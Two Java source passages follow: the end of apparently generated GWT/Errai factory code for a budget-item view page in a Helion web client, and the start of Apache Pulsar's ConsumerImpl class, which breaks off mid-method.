qualifierSet.add("com.cloderia.helion.client.local.ui.RenderSingleView"); } public void fireEvent(final BudgetitemListItemDisplay event) { instance.doRenderSingleView(event); } public String toString() { return "Observer: com.cloderia.helion.client.local.budgetitem.BudgetitemListItemDisplay [@com.cloderia.helion.client.local.ui.RenderSingleView()]"; } })); thisInstance.setReference(instance, "doRenderDeleteViewSubscription", CDI.subscribeLocal("com.cloderia.helion.client.local.budgetitem.BudgetitemListItemDisplay", new AbstractCDIEventCallback<BudgetitemListItemDisplay>() { { qualifierSet.add("com.cloderia.helion.client.local.ui.RenderDeleteView"); } public void fireEvent(final BudgetitemListItemDisplay event) { instance.doRenderDeleteView(event); } public String toString() { return "Observer: com.cloderia.helion.client.local.budgetitem.BudgetitemListItemDisplay [@com.cloderia.helion.client.local.ui.RenderDeleteView()]"; } })); thisInstance.setReference(instance, "renderEditViewSubscription", CDI.subscribeLocal("com.cloderia.helion.client.local.budgetitem.BudgetitemListItemDisplay", new AbstractCDIEventCallback<BudgetitemListItemDisplay>() { { qualifierSet.add("com.cloderia.helion.client.local.ui.RenderEditView"); } public void fireEvent(final BudgetitemListItemDisplay event) { instance.renderEditView(event); } public String toString() { return "Observer: com.cloderia.helion.client.local.budgetitem.BudgetitemListItemDisplay [@com.cloderia.helion.client.local.ui.RenderEditView()]"; } })); thisInstance.setReference(instance, "doCreateEntitySubscription", CDI.subscribeLocal("com.cloderia.helion.client.local.budgetitem.BudgetitemEditor", new AbstractCDIEventCallback<BudgetitemEditor>() { { qualifierSet.add("com.cloderia.helion.client.local.ui.CreateEntity"); } public void fireEvent(final BudgetitemEditor event) { instance.doCreateEntity(event); } public String toString() { return "Observer: com.cloderia.helion.client.local.budgetitem.BudgetitemEditor [@com.cloderia.helion.client.local.ui.CreateEntity()]"; } })); thisInstance.setReference(instance, "doEditEntitySubscription", CDI.subscribeLocal("com.cloderia.helion.client.local.budgetitem.BudgetitemEditor", new AbstractCDIEventCallback<BudgetitemEditor>() { { qualifierSet.add("com.cloderia.helion.client.local.ui.EditEntity"); } public void fireEvent(final BudgetitemEditor event) { instance.doEditEntity(event); } public String toString() { return "Observer: com.cloderia.helion.client.local.budgetitem.BudgetitemEditor [@com.cloderia.helion.client.local.ui.EditEntity()]"; } })); thisInstance.setReference(instance, "doDeleteEntitySubscription", CDI.subscribeLocal("com.cloderia.helion.client.local.budgetitem.BudgetitemDisplay", new AbstractCDIEventCallback<BudgetitemDisplay>() { { qualifierSet.add("com.cloderia.helion.client.local.ui.DeleteEntity"); } public void fireEvent(final BudgetitemDisplay event) { instance.doDeleteEntity(event); } public String toString() { return "Observer: com.cloderia.helion.client.local.budgetitem.BudgetitemDisplay [@com.cloderia.helion.client.local.ui.DeleteEntity()]"; } })); thisInstance.setReference(instance, "doDeleteEntityListItemSubscription", CDI.subscribeLocal("com.cloderia.helion.client.local.budgetitem.BudgetitemListItemDisplay", new AbstractCDIEventCallback<BudgetitemListItemDisplay>() { { qualifierSet.add("com.cloderia.helion.client.local.ui.DeleteEntity"); } public void fireEvent(final BudgetitemListItemDisplay event) { instance.doDeleteEntityListItem(event); } public String toString() { return "Observer: com.cloderia.helion.client.local.budgetitem.BudgetitemListItemDisplay [@com.cloderia.helion.client.local.ui.DeleteEntity()]"; } })); c_c_h_c_l_b_ViewBudgetitemPageTemplateResource templateForViewBudgetitemPage = GWT.create(c_c_h_c_l_b_ViewBudgetitemPageTemplateResource.class); Element parentElementForTemplateOfViewBudgetitemPage = TemplateUtil.getRootTemplateParentElement(templateForViewBudgetitemPage.getContents().getText(), "com/cloderia/helion/client/local/budgetitem/view-budgetitem-page.html", "app-container"); TemplateUtil.translateTemplate("com/cloderia/helion/client/local/budgetitem/view-budgetitem-page.html", TemplateUtil.getRootTemplateElement(parentElementForTemplateOfViewBudgetitemPage)); Map<String, Element> dataFieldElements = TemplateUtil.getDataFieldElements(TemplateUtil.getRootTemplateElement(parentElementForTemplateOfViewBudgetitemPage)); Map<String, Widget> templateFieldsMap = new LinkedHashMap<String, Widget>(); TemplateUtil.compositeComponentReplace("com.cloderia.helion.client.local.budgetitem.ViewBudgetitemPage", "com/cloderia/helion/client/local/budgetitem/view-budgetitem-page.html", new Supplier<Widget>() { public Widget get() { return BasePortalPage_NavBar_header(instance).asWidget(); } }, dataFieldElements, "header"); TemplateUtil.compositeComponentReplace("com.cloderia.helion.client.local.budgetitem.ViewBudgetitemPage", "com/cloderia/helion/client/local/budgetitem/view-budgetitem-page.html", new Supplier<Widget>() { public Widget get() { return BasePortalPage_SideBar_sidebar(instance).asWidget(); } }, dataFieldElements, "sidebar"); TemplateUtil.compositeComponentReplace("com.cloderia.helion.client.local.budgetitem.ViewBudgetitemPage", "com/cloderia/helion/client/local/budgetitem/view-budgetitem-page.html", new Supplier<Widget>() { public Widget get() { return ElementWrapperWidget.getWidget(TemplateUtil.asElement(BaseBudgetitemPage_Heading_viewTitle(instance))); } }, dataFieldElements, "viewTitle"); TemplateUtil.compositeComponentReplace("com.cloderia.helion.client.local.budgetitem.ViewBudgetitemPage", "com/cloderia/helion/client/local/budgetitem/view-budgetitem-page.html", new Supplier<Widget>() { public Widget get() { return ElementWrapperWidget.getWidget(BaseBudgetitemPage_AnchorElement_listBudgetitemsPageLink(instance)); } }, dataFieldElements, "listBudgetitemsPageLink"); TemplateUtil.compositeComponentReplace("com.cloderia.helion.client.local.budgetitem.ViewBudgetitemPage", "com/cloderia/helion/client/local/budgetitem/view-budgetitem-page.html", new Supplier<Widget>() { public Widget get() { return TemplateWidgetMapper.get(ViewBudgetitemPage_BudgetitemDisplay_entityDisplayComponent(instance)); } }, dataFieldElements, "entityDisplayComponent"); templateFieldsMap.put("header", BasePortalPage_NavBar_header(instance).asWidget()); templateFieldsMap.put("sidebar", BasePortalPage_SideBar_sidebar(instance).asWidget()); templateFieldsMap.put("viewTitle", ElementWrapperWidget.getWidget(TemplateUtil.asElement(BaseBudgetitemPage_Heading_viewTitle(instance)))); templateFieldsMap.put("listBudgetitemsPageLink", ElementWrapperWidget.getWidget(BaseBudgetitemPage_AnchorElement_listBudgetitemsPageLink(instance))); templateFieldsMap.put("entityDisplayComponent", TemplateWidgetMapper.get(ViewBudgetitemPage_BudgetitemDisplay_entityDisplayComponent(instance))); TemplateUtil.initWidget(instance, TemplateUtil.getRootTemplateElement(parentElementForTemplateOfViewBudgetitemPage), templateFieldsMap.values()); TemplateUtil.setupWrappedElementEventHandler(templateFieldsMap.get("listBudgetitemsPageLink"), new ClickHandler() { public void onClick(ClickEvent event) { instance.submit(event); } }, ClickEvent.getType()); StyleBindingsRegistry.get().updateStyles(instance); setIncompleteInstance(null); return instance; } public void generatedDestroyInstance(final Object instance, final ContextManager contextManager) { destroyInstanceHelper((ViewBudgetitemPage) instance, contextManager); } public void destroyInstanceHelper(final ViewBudgetitemPage instance, final ContextManager contextManager) { ((Subscription) thisInstance.getReferenceAs(instance, "onRemoteEntityCreatedSubscription", Subscription.class)).remove(); ((Subscription) thisInstance.getReferenceAs(instance, "onRemoteEntityCreatedSubscriptionForBudgetitemOperation", Subscription.class)).remove(); ((Subscription) thisInstance.getReferenceAs(instance, "onRemoteEntityEditedSubscription", Subscription.class)).remove(); ((Subscription) thisInstance.getReferenceAs(instance, "onRemoteEntityEditedSubscriptionForBudgetitemOperation", Subscription.class)).remove(); ((Subscription) thisInstance.getReferenceAs(instance, "onRemoteEntityDeletedSubscription", Subscription.class)).remove(); ((Subscription) thisInstance.getReferenceAs(instance, "onRemoteEntityDeletedSubscriptionForBudgetitemOperation", Subscription.class)).remove(); ((Subscription) thisInstance.getReferenceAs(instance, "doRenderEditViewSubscription", Subscription.class)).remove(); ((Subscription) thisInstance.getReferenceAs(instance, "doRenderSingleViewSubscription", Subscription.class)).remove(); ((Subscription) thisInstance.getReferenceAs(instance, "doRenderDeleteViewSubscription", Subscription.class)).remove(); ((Subscription) thisInstance.getReferenceAs(instance, "renderEditViewSubscription", Subscription.class)).remove(); ((Subscription) thisInstance.getReferenceAs(instance, "doCreateEntitySubscription", Subscription.class)).remove(); ((Subscription) thisInstance.getReferenceAs(instance, "doEditEntitySubscription", Subscription.class)).remove(); ((Subscription) thisInstance.getReferenceAs(instance, "doDeleteEntitySubscription", Subscription.class)).remove(); ((Subscription) thisInstance.getReferenceAs(instance, "doDeleteEntityListItemSubscription", Subscription.class)).remove(); ElementWrapperWidget.removeWidget(ElementWrapperWidget.getWidget(BaseBudgetitemPage_AnchorElement_listBudgetitemsPageLink(instance))); TemplateUtil.cleanupWidget(instance); } public void invokePostConstructs(final ViewBudgetitemPage instance) { } public Proxy createProxy(final Context context) { return null; } public FactoryHandle getHandle() { return handle; } native static BudgetitemDisplay ViewBudgetitemPage_BudgetitemDisplay_entityDisplayComponent(ViewBudgetitemPage instance) /*-{ return instance.@com.cloderia.helion.client.local.budgetitem.ViewBudgetitemPage::entityDisplayComponent; }-*/; native static void ViewBudgetitemPage_BudgetitemDisplay_entityDisplayComponent(ViewBudgetitemPage instance, BudgetitemDisplay value) /*-{ instance.@com.cloderia.helion.client.local.budgetitem.ViewBudgetitemPage::entityDisplayComponent = value; }-*/; native static AnchorElement BaseBudgetitemPage_AnchorElement_listBudgetitemsPageLink(BaseBudgetitemPage instance) /*-{ return instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::listBudgetitemsPageLink; }-*/; native static void BaseBudgetitemPage_AnchorElement_listBudgetitemsPageLink(BaseBudgetitemPage instance, AnchorElement value) /*-{ instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::listBudgetitemsPageLink = value; }-*/; native static Caller BaseBudgetitemPage_Caller_budgetService(BaseBudgetitemPage instance) /*-{ return instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::budgetService; }-*/; native static void BaseBudgetitemPage_Caller_budgetService(BaseBudgetitemPage instance, Caller<BudgetEndPoint> value) /*-{ instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::budgetService = value; }-*/; native static TransitionTo BaseBudgetitemPage_TransitionTo_listBudgetitemsPage(BaseBudgetitemPage instance) /*-{ return instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::listBudgetitemsPage; }-*/; native static void BaseBudgetitemPage_TransitionTo_listBudgetitemsPage(BaseBudgetitemPage instance, TransitionTo<ListBudgetitemPage> value) /*-{ instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::listBudgetitemsPage = value; }-*/; native static Caller BaseBudgetitemPage_Caller_budgetitemService(BaseBudgetitemPage instance) /*-{ return instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::budgetitemService; }-*/; native static void BaseBudgetitemPage_Caller_budgetitemService(BaseBudgetitemPage instance, Caller<BudgetitemEndPoint> value) /*-{ instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::budgetitemService = value; }-*/; native static DataBinder ViewBudgetitemPage_DataBinder_binder(ViewBudgetitemPage instance) /*-{ return instance.@com.cloderia.helion.client.local.budgetitem.ViewBudgetitemPage::binder; }-*/; native static void ViewBudgetitemPage_DataBinder_binder(ViewBudgetitemPage instance, DataBinder<Budgetitem> value) /*-{ instance.@com.cloderia.helion.client.local.budgetitem.ViewBudgetitemPage::binder = value; }-*/; native static TransitionTo BaseBudgetitemPage_TransitionTo_viewBudgetitemPage(BaseBudgetitemPage instance) /*-{ return instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::viewBudgetitemPage; }-*/; native static void BaseBudgetitemPage_TransitionTo_viewBudgetitemPage(BaseBudgetitemPage instance, TransitionTo<ViewBudgetitemPage> value) /*-{ instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::viewBudgetitemPage = value; }-*/; native static Caller BaseBudgetitemPage_Caller_universeService(BaseBudgetitemPage instance) /*-{ return instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::universeService; }-*/; native static void BaseBudgetitemPage_Caller_universeService(BaseBudgetitemPage instance, Caller<UniverseEndPoint> value) /*-{ instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::universeService = value; }-*/; native static Caller BaseBudgetitemPage_Caller_budgetitemtypeService(BaseBudgetitemPage instance) /*-{ return instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::budgetitemtypeService; }-*/; native static void BaseBudgetitemPage_Caller_budgetitemtypeService(BaseBudgetitemPage instance, Caller<BudgetitemtypeEndPoint> value) /*-{ instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::budgetitemtypeService = value; }-*/; native static NavBar BasePortalPage_NavBar_header(BasePortalPage instance) /*-{ return instance.@com.cloderia.helion.client.local.ui.BasePortalPage::header; }-*/; native static void BasePortalPage_NavBar_header(BasePortalPage instance, NavBar value) /*-{ instance.@com.cloderia.helion.client.local.ui.BasePortalPage::header = value; }-*/; native static TransitionTo BaseBudgetitemPage_TransitionTo_createBudgetitemPage(BaseBudgetitemPage instance) /*-{ return instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::createBudgetitemPage; }-*/; native static void BaseBudgetitemPage_TransitionTo_createBudgetitemPage(BaseBudgetitemPage instance, TransitionTo<CreateBudgetitemPage> value) /*-{ instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::createBudgetitemPage = value; }-*/; native static Heading BaseBudgetitemPage_Heading_viewTitle(BaseBudgetitemPage instance) /*-{ return instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::viewTitle; }-*/; native static void BaseBudgetitemPage_Heading_viewTitle(BaseBudgetitemPage instance, Heading value) /*-{ instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::viewTitle = value; }-*/; native static SideBar BasePortalPage_SideBar_sidebar(BasePortalPage instance) /*-{ return instance.@com.cloderia.helion.client.local.ui.BasePortalPage::sidebar; }-*/; native static void BasePortalPage_SideBar_sidebar(BasePortalPage instance, SideBar value) /*-{ instance.@com.cloderia.helion.client.local.ui.BasePortalPage::sidebar = value; }-*/; native static TransitionTo BaseBudgetitemPage_TransitionTo_editBudgetitemPage(BaseBudgetitemPage instance) /*-{ return instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::editBudgetitemPage; }-*/; native static void BaseBudgetitemPage_TransitionTo_editBudgetitemPage(BaseBudgetitemPage instance, TransitionTo<EditBudgetitemPage> value) /*-{ instance.@com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage::editBudgetitemPage = value; }-*/; }
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.apache.pulsar.client.impl; import static com.google.common.base.Preconditions.checkArgument; import static org.apache.pulsar.common.protocol.Commands.hasChecksum; import com.google.common.annotations.VisibleForTesting; import com.google.common.collect.ComparisonChain; import com.google.common.collect.Iterables; import com.google.common.collect.Queues; import com.scurrilous.circe.checksum.Crc32cIntChecksum; import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.util.Recycler; import io.netty.util.Recycler.Handle; import io.netty.util.ReferenceCountUtil; import io.netty.util.Timeout; import java.io.IOException; import java.nio.ByteBuffer; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Objects; import java.util.Optional; import java.util.Set; import java.util.SortedMap; import java.util.TreeMap; import java.util.concurrent.BlockingQueue; import java.util.concurrent.CompletableFuture; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ExecutionException; import java.util.concurrent.ExecutorService; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicBoolean; import java.util.concurrent.atomic.AtomicIntegerFieldUpdater; import java.util.concurrent.atomic.AtomicLong; import java.util.concurrent.atomic.AtomicReference; import java.util.concurrent.locks.ReadWriteLock; import java.util.concurrent.locks.ReentrantReadWriteLock; import java.util.function.Function; import java.util.stream.Collectors; import org.apache.commons.lang3.StringUtils; import org.apache.pulsar.client.api.Consumer; import org.apache.pulsar.client.api.ConsumerCryptoFailureAction; import org.apache.pulsar.client.api.DeadLetterPolicy; import org.apache.pulsar.client.api.Message; import org.apache.pulsar.client.api.MessageCrypto; import org.apache.pulsar.client.api.MessageId; import org.apache.pulsar.client.api.Messages; import org.apache.pulsar.client.api.Producer; import org.apache.pulsar.client.api.PulsarClientException; import org.apache.pulsar.client.api.PulsarClientException.TopicDoesNotExistException; import org.apache.pulsar.client.api.Schema; import org.apache.pulsar.client.api.SubscriptionInitialPosition; import org.apache.pulsar.client.api.SubscriptionMode; import org.apache.pulsar.client.api.SubscriptionType; import org.apache.pulsar.client.api.TypedMessageBuilder; import org.apache.pulsar.client.api.transaction.TxnID; import org.apache.pulsar.client.impl.conf.ConsumerConfigurationData; import org.apache.pulsar.client.impl.crypto.MessageCryptoBc; import org.apache.pulsar.client.impl.transaction.TransactionImpl; import org.apache.pulsar.client.util.ExecutorProvider; import org.apache.pulsar.client.util.RetryMessageUtil; import org.apache.pulsar.client.util.RetryUtil; import org.apache.pulsar.common.allocator.PulsarByteBufAllocator; import org.apache.pulsar.common.api.EncryptionContext; import org.apache.pulsar.common.api.EncryptionContext.EncryptionKey; import org.apache.pulsar.common.api.proto.CommandAck.AckType; import org.apache.pulsar.common.api.proto.CommandAck.ValidationError; import org.apache.pulsar.common.api.proto.CommandSubscribe.InitialPosition; import org.apache.pulsar.common.api.proto.CompressionType; import org.apache.pulsar.common.api.proto.EncryptionKeys; import org.apache.pulsar.common.api.proto.KeyValue; import org.apache.pulsar.common.api.proto.MessageIdData; import org.apache.pulsar.common.api.proto.MessageMetadata; import org.apache.pulsar.common.api.proto.ProtocolVersion; import org.apache.pulsar.common.api.proto.SingleMessageMetadata; import org.apache.pulsar.common.compression.CompressionCodec; import org.apache.pulsar.common.compression.CompressionCodecProvider; import org.apache.pulsar.common.naming.TopicName; import org.apache.pulsar.common.protocol.Commands; import org.apache.pulsar.common.schema.SchemaInfo; import org.apache.pulsar.common.schema.SchemaType; import org.apache.pulsar.common.util.CompletableFutureCancellationHandler; import org.apache.pulsar.common.util.FutureUtil; import org.apache.pulsar.common.util.SafeCollectionUtils; import org.apache.pulsar.common.util.collections.BitSetRecyclable; import org.apache.pulsar.common.util.collections.ConcurrentOpenHashMap; import org.apache.pulsar.common.util.collections.GrowableArrayBlockingQueue; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class ConsumerImpl<T> extends ConsumerBase<T> implements ConnectionHandler.Connection { private static final int MAX_REDELIVER_UNACKNOWLEDGED = 1000; final long consumerId; // Number of messages that have delivered to the application. Every once in a while, this number will be sent to the // broker to notify that we are ready to get (and store in the incoming messages queue) more messages @SuppressWarnings("rawtypes") private static final AtomicIntegerFieldUpdater<ConsumerImpl> AVAILABLE_PERMITS_UPDATER = AtomicIntegerFieldUpdater .newUpdater(ConsumerImpl.class, "availablePermits"); @SuppressWarnings("unused") private volatile int availablePermits = 0; protected volatile MessageId lastDequeuedMessageId = MessageId.earliest; private volatile MessageId lastMessageIdInBroker = MessageId.earliest; private final long subscribeTimeout; private final int partitionIndex; private final boolean hasParentConsumer; private final int receiverQueueRefillThreshold; private final UnAckedMessageTracker unAckedMessageTracker; private final AcknowledgmentsGroupingTracker acknowledgmentsGroupingTracker; private final NegativeAcksTracker negativeAcksTracker; protected final ConsumerStatsRecorder stats; private final int priorityLevel; private final SubscriptionMode subscriptionMode; private volatile BatchMessageIdImpl startMessageId; private volatile BatchMessageIdImpl seekMessageId; private final AtomicBoolean duringSeek; private final BatchMessageIdImpl initialStartMessageId; private final long startMessageRollbackDurationInSec; private volatile boolean hasReachedEndOfTopic; private final MessageCrypto msgCrypto; private final Map<String, String> metadata; private final boolean readCompacted; private final boolean resetIncludeHead; private final SubscriptionInitialPosition subscriptionInitialPosition; private final ConnectionHandler connectionHandler; private final TopicName topicName; private final String topicNameWithoutPartition; private final Map<MessageIdImpl, List<MessageImpl<T>>> possibleSendToDeadLetterTopicMessages; private final DeadLetterPolicy deadLetterPolicy; private volatile CompletableFuture<Producer<byte[]>> deadLetterProducer; private volatile Producer<T> retryLetterProducer; private final ReadWriteLock createProducerLock = new ReentrantReadWriteLock(); protected volatile boolean paused; protected ConcurrentOpenHashMap<String, ChunkedMessageCtx> chunkedMessagesMap = new ConcurrentOpenHashMap<>(); private int pendingChunkedMessageCount = 0; protected long expireTimeOfIncompleteChunkedMessageMillis = 0; private boolean expireChunkMessageTaskScheduled = false; private final int maxPendingChunkedMessage; // if queue size is reasonable (most of the time equal to number of producers try to publish messages concurrently on // the topic) then it guards against broken chunked message which was not fully published private final boolean autoAckOldestChunkedMessageOnQueueFull; // it will be used to manage N outstanding chunked message buffers private final BlockingQueue<String> pendingChunkedMessageUuidQueue; private final boolean createTopicIfDoesNotExist; private final boolean poolMessages; private final AtomicReference<ClientCnx> clientCnxUsedForConsumerRegistration = new AtomicReference<>(); private final ExecutorService internalPinnedExecutor; static <T> ConsumerImpl<T> newConsumerImpl(PulsarClientImpl client, String topic, ConsumerConfigurationData<T> conf, ExecutorProvider executorProvider, int partitionIndex, boolean hasParentConsumer, CompletableFuture<Consumer<T>> subscribeFuture, MessageId startMessageId, Schema<T> schema, ConsumerInterceptors<T> interceptors, boolean createTopicIfDoesNotExist) { return newConsumerImpl(client, topic, conf, executorProvider, partitionIndex, hasParentConsumer, subscribeFuture, startMessageId, schema, interceptors, createTopicIfDoesNotExist, 0); } static <T> ConsumerImpl<T> newConsumerImpl(PulsarClientImpl client, String topic, ConsumerConfigurationData<T> conf, ExecutorProvider executorProvider, int partitionIndex, boolean hasParentConsumer, CompletableFuture<Consumer<T>> subscribeFuture, MessageId startMessageId, Schema<T> schema, ConsumerInterceptors<T> interceptors, boolean createTopicIfDoesNotExist, long startMessageRollbackDurationInSec) { if (conf.getReceiverQueueSize() == 0) { return new ZeroQueueConsumerImpl<>(client, topic, conf, executorProvider, partitionIndex, hasParentConsumer, subscribeFuture, startMessageId, schema, interceptors, createTopicIfDoesNotExist); } else { return new ConsumerImpl<>(client, topic, conf, executorProvider, partitionIndex, hasParentConsumer, subscribeFuture, startMessageId, startMessageRollbackDurationInSec /* rollback time in sec to start msgId */, schema, interceptors, createTopicIfDoesNotExist); } } protected ConsumerImpl(PulsarClientImpl client, String topic, ConsumerConfigurationData<T> conf, ExecutorProvider executorProvider, int partitionIndex, boolean hasParentConsumer, CompletableFuture<Consumer<T>> subscribeFuture, MessageId startMessageId, long startMessageRollbackDurationInSec, Schema<T> schema, ConsumerInterceptors<T> interceptors, boolean createTopicIfDoesNotExist) { super(client, topic, conf, conf.getReceiverQueueSize(), executorProvider, subscribeFuture, schema, interceptors); this.consumerId = client.newConsumerId(); this.subscriptionMode = conf.getSubscriptionMode(); this.startMessageId = startMessageId != null ? new BatchMessageIdImpl((MessageIdImpl) startMessageId) : null; this.initialStartMessageId = this.startMessageId; this.startMessageRollbackDurationInSec = startMessageRollbackDurationInSec; AVAILABLE_PERMITS_UPDATER.set(this, 0); this.subscribeTimeout = System.currentTimeMillis() + client.getConfiguration().getOperationTimeoutMs(); this.partitionIndex = partitionIndex; this.hasParentConsumer = hasParentConsumer; this.receiverQueueRefillThreshold = conf.getReceiverQueueSize() / 2; this.priorityLevel = conf.getPriorityLevel(); this.readCompacted = conf.isReadCompacted(); this.subscriptionInitialPosition = conf.getSubscriptionInitialPosition(); this.negativeAcksTracker = new NegativeAcksTracker(this, conf); this.resetIncludeHead = conf.isResetIncludeHead(); this.createTopicIfDoesNotExist = createTopicIfDoesNotExist; this.maxPendingChunkedMessage = conf.getMaxPendingChunkedMessage(); this.pendingChunkedMessageUuidQueue = new GrowableArrayBlockingQueue<>(); this.expireTimeOfIncompleteChunkedMessageMillis = conf.getExpireTimeOfIncompleteChunkedMessageMillis(); this.autoAckOldestChunkedMessageOnQueueFull = conf.isAutoAckOldestChunkedMessageOnQueueFull(); this.poolMessages = conf.isPoolMessages(); this.internalPinnedExecutor = client.getInternalExecutorService(); if (client.getConfiguration().getStatsIntervalSeconds() > 0) { stats = new ConsumerStatsRecorderImpl(client, conf, this); } else { stats = ConsumerStatsDisabled.INSTANCE; } duringSeek = new AtomicBoolean(false); if (conf.getAckTimeoutMillis() != 0) { if (conf.getTickDurationMillis() > 0) { this.unAckedMessageTracker = new UnAckedMessageTracker(client, this, conf.getAckTimeoutMillis(), Math.min(conf.getTickDurationMillis(), conf.getAckTimeoutMillis())); } else { this.unAckedMessageTracker = new UnAckedMessageTracker(client, this, conf.getAckTimeoutMillis()); } } else { this.unAckedMessageTracker = UnAckedMessageTracker.UNACKED_MESSAGE_TRACKER_DISABLED; } // Create msgCrypto if not created already if (conf.getCryptoKeyReader() != null) { if (conf.getMessageCrypto() != null) { this.msgCrypto = conf.getMessageCrypto(); } else { // default to use MessageCryptoBc; MessageCrypto msgCryptoBc; try { msgCryptoBc = new MessageCryptoBc( String.format("[%s] [%s]", topic, subscription), false); } catch (Exception e) { log.error("MessageCryptoBc may not included in the jar. e:", e); msgCryptoBc = null; } this.msgCrypto = msgCryptoBc; } } else { this.msgCrypto = null; } if (conf.getProperties().isEmpty()) { metadata = Collections.emptyMap(); } else { metadata = Collections.unmodifiableMap(new HashMap<>(conf.getProperties())); } this.connectionHandler = new ConnectionHandler(this, new BackoffBuilder() .setInitialTime(client.getConfiguration().getInitialBackoffIntervalNanos(), TimeUnit.NANOSECONDS) .setMax(client.getConfiguration().getMaxBackoffIntervalNanos(), TimeUnit.NANOSECONDS) .setMandatoryStop(0, TimeUnit.MILLISECONDS) .create(), this); this.topicName = TopicName.get(topic); if (this.topicName.isPersistent()) { this.acknowledgmentsGroupingTracker = new PersistentAcknowledgmentsGroupingTracker(this, conf, client.eventLoopGroup()); } else { this.acknowledgmentsGroupingTracker = NonPersistentAcknowledgmentGroupingTracker.of(); } if (conf.getDeadLetterPolicy() != null) { possibleSendToDeadLetterTopicMessages = new ConcurrentHashMap<>(); if (StringUtils.isNotBlank(conf.getDeadLetterPolicy().getDeadLetterTopic())) { this.deadLetterPolicy = DeadLetterPolicy.builder() .maxRedeliverCount(conf.getDeadLetterPolicy().getMaxRedeliverCount()) .deadLetterTopic(conf.getDeadLetterPolicy().getDeadLetterTopic()) .build(); } else { this.deadLetterPolicy = DeadLetterPolicy.builder() .maxRedeliverCount(conf.getDeadLetterPolicy().getMaxRedeliverCount()) .deadLetterTopic(String.format("%s-%s" + RetryMessageUtil.DLQ_GROUP_TOPIC_SUFFIX, topic, subscription)) .build(); } if (StringUtils.isNotBlank(conf.getDeadLetterPolicy().getRetryLetterTopic())) { this.deadLetterPolicy.setRetryLetterTopic(conf.getDeadLetterPolicy().getRetryLetterTopic()); } else { this.deadLetterPolicy.setRetryLetterTopic(String.format("%s-%s" + RetryMessageUtil.RETRY_GROUP_TOPIC_SUFFIX, topic, subscription)); } } else { deadLetterPolicy = null; possibleSendToDeadLetterTopicMessages = null; } topicNameWithoutPartition = topicName.getPartitionedTopicName(); grabCnx(); } public ConnectionHandler getConnectionHandler() { return connectionHandler; } public UnAckedMessageTracker getUnAckedMessageTracker() { return unAckedMessageTracker; } @Override public CompletableFuture<Void> unsubscribeAsync() { if (getState() == State.Closing || getState() == State.Closed) { return FutureUtil .failedFuture(new PulsarClientException.AlreadyClosedException("Consumer was already closed")); } final CompletableFuture<Void> unsubscribeFuture = new CompletableFuture<>(); if (isConnected()) { setState(State.Closing); long requestId = client.newRequestId(); ByteBuf unsubscribe = Commands.newUnsubscribe(consumerId, requestId); ClientCnx cnx = cnx(); cnx.sendRequestWithId(unsubscribe, requestId).thenRun(() -> { closeConsumerTasks(); deregisterFromClientCnx(); client.cleanupConsumer(this); log.info("[{}][{}] Successfully unsubscribed from topic", topic, subscription); setState(State.Closed); unsubscribeFuture.complete(null); }).exceptionally(e -> { log.error("[{}][{}] Failed to unsubscribe: {}", topic, subscription, e.getCause().getMessage()); setState(State.Ready); unsubscribeFuture.completeExceptionally( PulsarClientException.wrap(e.getCause(), String.format("Failed to unsubscribe the subscription %s of topic %s", topicName.toString(), subscription))); return null; }); } else { unsubscribeFuture.completeExceptionally( new PulsarClientException( String.format("The client is not connected to the broker when unsubscribing the " + "subscription %s of the topic %s", subscription, topicName.toString()))); } return unsubscribeFuture; } @Override protected Message<T> internalReceive() throws PulsarClientException { Message<T> message; try { message = incomingMessages.take(); messageProcessed(message); return beforeConsume(message); } catch (InterruptedException e) { stats.incrementNumReceiveFailed(); throw PulsarClientException.unwrap(e); } } @Override protected CompletableFuture<Message<T>> internalReceiveAsync() { CompletableFutureCancellationHandler cancellationHandler = new CompletableFutureCancellationHandler(); CompletableFuture<Message<T>> result = cancellationHandler.createFuture(); internalPinnedExecutor.execute(() -> { Message<T> message = incomingMessages.poll(); if (message == null) { pendingReceives.add(result); cancellationHandler.setCancelAction(() -> pendingReceives.remove(result)); } if (message != null) { messageProcessed(message); result.complete(beforeConsume(message)); } }); return result; } @Override protected Message<T> internalReceive(int timeout, TimeUnit unit) throws PulsarClientException { Message<T> message; try { message = incomingMessages.poll(timeout, unit); if (message == null) { return null; } messageProcessed(message); return beforeConsume(message); } catch (InterruptedException e) { State state = getState(); if (state != State.Closing && state != State.Closed) { stats.incrementNumReceiveFailed(); throw PulsarClientException.unwrap(e); } else { return null; } } } @Override protected Messages<T> internalBatchReceive() throws PulsarClientException { try { return 